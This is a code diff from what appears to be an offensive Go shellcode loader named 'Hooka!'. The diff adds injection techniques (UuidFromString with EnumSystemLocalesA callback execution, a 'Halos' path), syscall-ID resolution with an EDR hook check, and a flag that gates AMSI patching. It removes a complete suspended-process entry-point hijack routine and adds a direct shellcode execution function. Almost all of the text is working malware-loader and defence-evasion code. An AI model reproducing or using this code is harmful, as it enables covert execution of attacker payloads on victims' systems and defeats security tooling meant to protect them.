||||
func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
|
||||
func FuncFromHash(hash string, dll string) (uint16, string, error) {
|
||||
dll_pe, err := pe.Open(dll) // Open and parse dll as a PE
|
||||
if err != nil {
|
||||
return new(windows.LazyProc), "", err
|
||||
return 0, "", err
|
||||
}
|
||||
defer dll_pe.Close()
|
||||
|
||||
exports, err := dll_pe.Exports() // Get exported functions
|
||||
if err != nil {
|
||||
return new(windows.LazyProc), "", err
|
||||
return 0, "", err
|
||||
}
|
||||
|
||||
for _, ex := range exports {
|
||||
if (StrToSha1(ex.Name) == hash) {
|
||||
return windows.NewLazyDLL(dll).NewProc(ex.Name), ex.Name, nil
|
||||
|
||||
offset := rvaToOffset(dll_pe, ex.VirtualAddress)
|
||||
bBytes, err := dll_pe.Bytes()
|
||||
if err != nil {
|
||||
return 0, "", err
|
||||
}
|
||||
|
||||
buff := bBytes[offset : offset+10]
|
||||
if !bytes.HasPrefix(buff, HookCheck) {
|
||||
return 0, "", MayBeHookedError{Foundbytes: buff}
|
||||
}
|
||||
|
||||
sysId := binary.LittleEndian.Uint16(buff[4:8])
|
||||
return sysId, ex.Name, nil
|
||||
}
|
||||
}
|
||||
|
||||
return new(windows.LazyProc), "", errors.New("function not found!")
|
||||
return 0, "", errors.New("function not found!")
|
||||
}
|
||||
|
||||
// Convert string to sha1
|
||||
|
||||
+2
-1
@@ -34,7 +34,8 @@ func DetectHooks() ([]string, error) {
|
||||
}
|
||||
|
||||
for _, exp := range exports { // Iterate over them
|
||||
offset := RvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
|
||||
|
||||
offset := rvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
|
||||
bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll
|
||||
if err != nil {
|
||||
return hooked_functions, err
|
||||
|
||||
+30
-5
@@ -5,11 +5,11 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "EarlyBirdApc"}
|
||||
var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "EarlyBirdApc", "UuidFromString"}
|
||||
|
||||
func Inject(shellcode []byte, technique string) (error) {
|
||||
|
||||
func InjectWithTechnique(shellcode []byte, technique string) (error) {
|
||||
// Check especified injection technique
|
||||
|
||||
if (strings.ToLower(technique) == "createremotethread") {
|
||||
err := CreateRemoteThread(shellcode)
|
||||
if err != nil { // Handle error
|
||||
@@ -34,10 +34,16 @@ func InjectWithTechnique(shellcode []byte, technique string) (error) {
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "uuidfromstring"){
|
||||
err := UuidFromString(shellcode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
} else {
|
||||
rand_n := RandomInt(3, 0) // Choose a random technique
|
||||
rand_n := RandomInt(4, 0) // Choose a random technique
|
||||
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
|
||||
err := InjectWithTechnique(shellcode, techniques[rand_n])
|
||||
err := Inject(shellcode, techniques[rand_n])
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
@@ -46,4 +52,23 @@ func InjectWithTechnique(shellcode []byte, technique string) (error) {
|
||||
return nil
|
||||
}
|
||||
|
||||
func InjectHalos(shellcode []byte, technique string) (error) {
|
||||
if (strings.ToLower(technique) == "createprocess") {
|
||||
err := CreateProcessHalos(shellcode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
} else {
|
||||
rand_n := RandomInt(4, 0)
|
||||
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
|
||||
err := InjectHalos(shellcode, techniques[rand_n])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -1,301 +0,0 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"log"
|
||||
"syscall"
|
||||
"errors"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func CreateProcess(shellcode []byte) (error) {
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
|
||||
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
||||
}
|
||||
|
||||
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
|
||||
if errCreateProcess != nil {
|
||||
return errCreateProcess
|
||||
}
|
||||
|
||||
addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if addr == 0 {
|
||||
return errors.New("VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
|
||||
// Write shellcode into child process memory
|
||||
WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
|
||||
type PEB struct {
|
||||
InheritedAddressSpace byte // BYTE 0
|
||||
ReadImageFileExecOptions byte // BYTE 1
|
||||
BeingDebugged byte // BYTE 2
|
||||
reserved2 [1]byte // BYTE 3
|
||||
Mutant uintptr // BYTE 4
|
||||
ImageBaseAddress uintptr // BYTE 8
|
||||
Ldr uintptr // PPEB_LDR_DATA
|
||||
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
|
||||
reserved4 [3]uintptr // PVOID
|
||||
AtlThunkSListPtr uintptr // PVOID
|
||||
reserved5 uintptr // PVOID
|
||||
reserved6 uint32 // ULONG
|
||||
reserved7 uintptr // PVOID
|
||||
reserved8 uint32 // ULONG
|
||||
AtlThunkSListPtr32 uint32 // ULONG
|
||||
reserved9 [45]uintptr // PVOID
|
||||
reserved10 [96]byte // BYTE
|
||||
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
|
||||
reserved11 [128]byte // BYTE
|
||||
reserved12 [1]uintptr // PVOID
|
||||
SessionId uint32 // ULONG
|
||||
}
|
||||
|
||||
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
|
||||
type PROCESS_BASIC_INFORMATION struct {
|
||||
reserved1 uintptr // PVOID
|
||||
PebBaseAddress uintptr // PPEB
|
||||
reserved2 [2]uintptr // PVOID
|
||||
UniqueProcessId uintptr // ULONG_PTR
|
||||
InheritedFromUniqueProcessID uintptr // PVOID
|
||||
}
|
||||
|
||||
var processInformation PROCESS_BASIC_INFORMATION
|
||||
var returnLength uintptr
|
||||
ntStatus, _, _ := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
|
||||
|
||||
if ntStatus != 0 {
|
||||
if ntStatus == 3221225476 {
|
||||
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
|
||||
return errors.New("Error calling NtQueryInformationProcess")
|
||||
}
|
||||
|
||||
// Read from PEB base address to populate the PEB structure
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
|
||||
var peb PEB
|
||||
var readBytes int32
|
||||
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
|
||||
|
||||
// Read the child program's DOS header and validate it is a MZ executable
|
||||
type IMAGE_DOS_HEADER struct {
|
||||
Magic uint16 // USHORT Magic number
|
||||
Cblp uint16 // USHORT Bytes on last page of file
|
||||
Cp uint16 // USHORT Pages in file
|
||||
Crlc uint16 // USHORT Relocations
|
||||
Cparhdr uint16 // USHORT Size of header in paragraphs
|
||||
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
|
||||
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
|
||||
SS uint16 // USHORT Initial (relative) SS value
|
||||
SP uint16 // USHORT Initial SP value
|
||||
CSum uint16 // USHORT Checksum
|
||||
IP uint16 // USHORT Initial IP value
|
||||
CS uint16 // USHORT Initial (relative) CS value
|
||||
LfaRlc uint16 // USHORT File address of relocation table
|
||||
Ovno uint16 // USHORT Overlay number
|
||||
Res [4]uint16 // USHORT Reserved words
|
||||
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
|
||||
OEMInfo uint16 // USHORT OEM information; e_oemid specific
|
||||
Res2 [10]uint16 // USHORT Reserved words
|
||||
LfaNew int32 // LONG File address of new exe header
|
||||
}
|
||||
|
||||
var dosHeader IMAGE_DOS_HEADER
|
||||
var readBytes2 int32
|
||||
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
|
||||
|
||||
// 23117 is the LittleEndian unsigned base10 representation of MZ
|
||||
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
|
||||
if dosHeader.Magic != 23117 {
|
||||
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
|
||||
}
|
||||
|
||||
// Read the child process's PE header signature to validate it is a PE
|
||||
var Signature uint32
|
||||
var readBytes3 int32
|
||||
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
|
||||
|
||||
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
|
||||
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
|
||||
if Signature != 17744 {
|
||||
return errors.New("PE Signature string was not PE")
|
||||
}
|
||||
|
||||
type IMAGE_FILE_HEADER struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
var peHeader IMAGE_FILE_HEADER
|
||||
var readBytes4 int32
|
||||
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER64 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER32 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
BaseOfData uint32 // Different from 64 bit header
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
var optHeader64 IMAGE_OPTIONAL_HEADER64
|
||||
var optHeader32 IMAGE_OPTIONAL_HEADER32
|
||||
var readBytes5 int32
|
||||
|
||||
if peHeader.Machine == 34404 { // 0x8664
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
|
||||
} else if peHeader.Machine == 332 { // 0x14c
|
||||
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
|
||||
var ep uintptr
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
var epBuffer []byte
|
||||
var shellcodeAddressBuffer []byte
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
epBuffer = append(epBuffer, byte(0x48))
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
|
||||
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
|
||||
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else {
|
||||
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// 0xff ; 0xe0 = jmp [r|e]ax
|
||||
epBuffer = append(epBuffer, byte(0xff))
|
||||
epBuffer = append(epBuffer, byte(0xe0))
|
||||
|
||||
WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
|
||||
|
||||
// Resume the child process
|
||||
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
|
||||
if errResumeThread != nil {
|
||||
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
|
||||
}
|
||||
|
||||
// Close the handle to the child process
|
||||
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
|
||||
if errCloseProcHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
|
||||
}
|
||||
|
||||
// Close the hand to the child process thread
|
||||
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
|
||||
if errCloseThreadHandle != nil {
|
||||
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"unsafe"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Receives function address and arguments
|
||||
func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) {
|
||||
errcode = bpSyscall(callid, argh...)
|
||||
|
||||
if errcode != 0 {
|
||||
err = fmt.Errorf("non-zero return from syscall")
|
||||
}
|
||||
|
||||
return errcode, err
|
||||
}
|
||||
|
||||
func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32)
|
||||
|
||||
func Execute(shellcode []byte) (error) {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
||||
VirtualProtect := kernel32.NewProc("VirtualProtect")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
|
||||
// Allocate memory
|
||||
addr, _, errVirtualAlloc := VirtualAlloc.Call(
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
windows.MEM_COMMIT | windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
|
||||
if errVirtualAlloc != nil {
|
||||
return fmt.Errorf("Error calling VirtualAlloc: %s", errVirtualAlloc.Error())
|
||||
}
|
||||
|
||||
if (addr == 0) {
|
||||
return fmt.Errorf("VirtualAlloc failed and returned 0")
|
||||
}
|
||||
|
||||
_, _, errRtlCopyMemory := RtlCopyMemory.Call(
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
)
|
||||
|
||||
if errRtlCopyMemory != nil {
|
||||
return fmt.Errorf("Error calling RtlCopyMemory: %s", errRtlCopyMemory.Error())
|
||||
}
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
// Protect memory
|
||||
_, _, errVirtualProtect := VirtualProtect.Call(
|
||||
addr,
|
||||
uintptr(len(shellcode)),
|
||||
windows.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
|
||||
if errVirtualProtect != nil {
|
||||
return fmt.Errorf("Error calling VirtualProtect: %s", errVirtualProtect.Error())
|
||||
}
|
||||
|
||||
// Execute shellcode
|
||||
_, _, errSyscall := syscall.Syscall(
|
||||
addr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if errSyscall != 0 {
|
||||
return fmt.Errorf("Error executing shellcode syscall: %s", errSyscall.Error())
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func WriteMemory(inbuf []byte, destination uintptr) {
|
||||
for index := uint32(0); index < uint32(len(inbuf)); index++ {
|
||||
writePtr := unsafe.Pointer(destination + uintptr(index))
|
||||
v := (*byte)(writePtr)
|
||||
*v = inbuf[index]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"bytes"
|
||||
"unsafe"
|
||||
"encoding/binary"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func UuidFromString(shellcode []byte) (error) {
|
||||
uuids, err := shellcodeToUUID(shellcode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32")
|
||||
rpcrt4 := windows.NewLazySystemDLL("Rpcrt4.dll")
|
||||
heapCreate := kernel32.NewProc("HeapCreate")
|
||||
heapAlloc := kernel32.NewProc("HeapAlloc")
|
||||
enumSystemLocalesA := kernel32.NewProc("EnumSystemLocalesA")
|
||||
uuidFromString := rpcrt4.NewProc("UuidFromStringA")
|
||||
|
||||
heapAddr, _, err := heapCreate.Call(0x00040000, 0, 0)
|
||||
if heapAddr == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
addr, _, err := heapAlloc.Call(heapAddr, 0, 0x00100000)
|
||||
if addr == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
addrPtr := addr
|
||||
for _, uuid := range uuids {
|
||||
u := append([]byte(uuid), 0)
|
||||
|
||||
rpcStatus, _, err := uuidFromString.Call(uintptr(unsafe.Pointer(&u[0])), addrPtr)
|
||||
if rpcStatus != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
addrPtr += 16
|
||||
}
|
||||
|
||||
ret, _, err := enumSystemLocalesA.Call(addr, 0)
|
||||
if ret == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func shellcodeToUUID(shellcode []byte) ([]string, error) {
|
||||
if 16-len(shellcode)%16 < 16 {
|
||||
pad := bytes.Repeat([]byte{byte(0x90)}, 16-len(shellcode)%16)
|
||||
shellcode = append(shellcode, pad...)
|
||||
}
|
||||
|
||||
var uuids []string
|
||||
for i := 0; i < len(shellcode); i += 16 {
|
||||
var uuidBytes []byte
|
||||
|
||||
buf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(buf, binary.BigEndian.Uint32(shellcode[i:i+4]))
|
||||
uuidBytes = append(uuidBytes, buf...)
|
||||
|
||||
buf = make([]byte, 2)
|
||||
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+4:i+6]))
|
||||
uuidBytes = append(uuidBytes, buf...)
|
||||
|
||||
buf = make([]byte, 2)
|
||||
binary.LittleEndian.PutUint16(buf, binary.BigEndian.Uint16(shellcode[i+6:i+8]))
|
||||
uuidBytes = append(uuidBytes, buf...)
|
||||
|
||||
uuidBytes = append(uuidBytes, shellcode[i+8:i+16]...)
|
||||
|
||||
u, err := uuid.FromBytes(uuidBytes)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("there was an error converting bytes into a UUID:\n%s", err)
|
||||
}
|
||||
|
||||
uuids = append(uuids, u.String())
|
||||
}
|
||||
|
||||
return uuids, nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -5,16 +5,18 @@ go 1.19
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee
|
||||
github.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761
|
||||
github.com/D3Ext/maldev v0.1.3
|
||||
github.com/google/uuid v1.3.0
|
||||
golang.org/x/sys v0.3.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/D3Ext/maldev v0.1.3 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/briandowns/spinner v1.20.0 // indirect
|
||||
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be // indirect
|
||||
github.com/fatih/color v1.13.0 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.14 // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
golang.org/x/term v0.3.0 // indirect
|
||||
)
|
||||
|
||||
@@ -14,6 +14,8 @@ github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
@@ -21,6 +23,8 @@ github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
|
||||
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
|
||||
@@ -20,7 +20,7 @@ func main() {
|
||||
var err error
|
||||
|
||||
// Parse CLI flags and retrieve values
|
||||
sc_url, sc_file, dll_file, technique, hook_detect, _, unhook, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
|
||||
sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, lsass := core.ParseFlags()
|
||||
|
||||
l.PrintBanner("Hooka!") // Print script banner with version
|
||||
l.Println(" by D3Ext - v0.1")
|
||||
@@ -50,6 +50,13 @@ func main() {
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
|
||||
|
||||
if (technique != "CreateRemoteThread") && (technique != "CreateProcess") && (technique != "EarlyBirdApc") && (technique != "UuidFromString") && (technique != "") {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Unknown injection technique! See help panel\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if (base64_flag) && (hex_flag) { // Check if both flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
@@ -100,14 +107,16 @@ func main() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
|
||||
l.Println("[*] Patching AMSI by overwriting function memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err = core.PatchAmsi()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
if (amsi) {
|
||||
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err = core.PatchAmsi()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
// Unhook function(s)
|
||||
if (unhook == 1) {
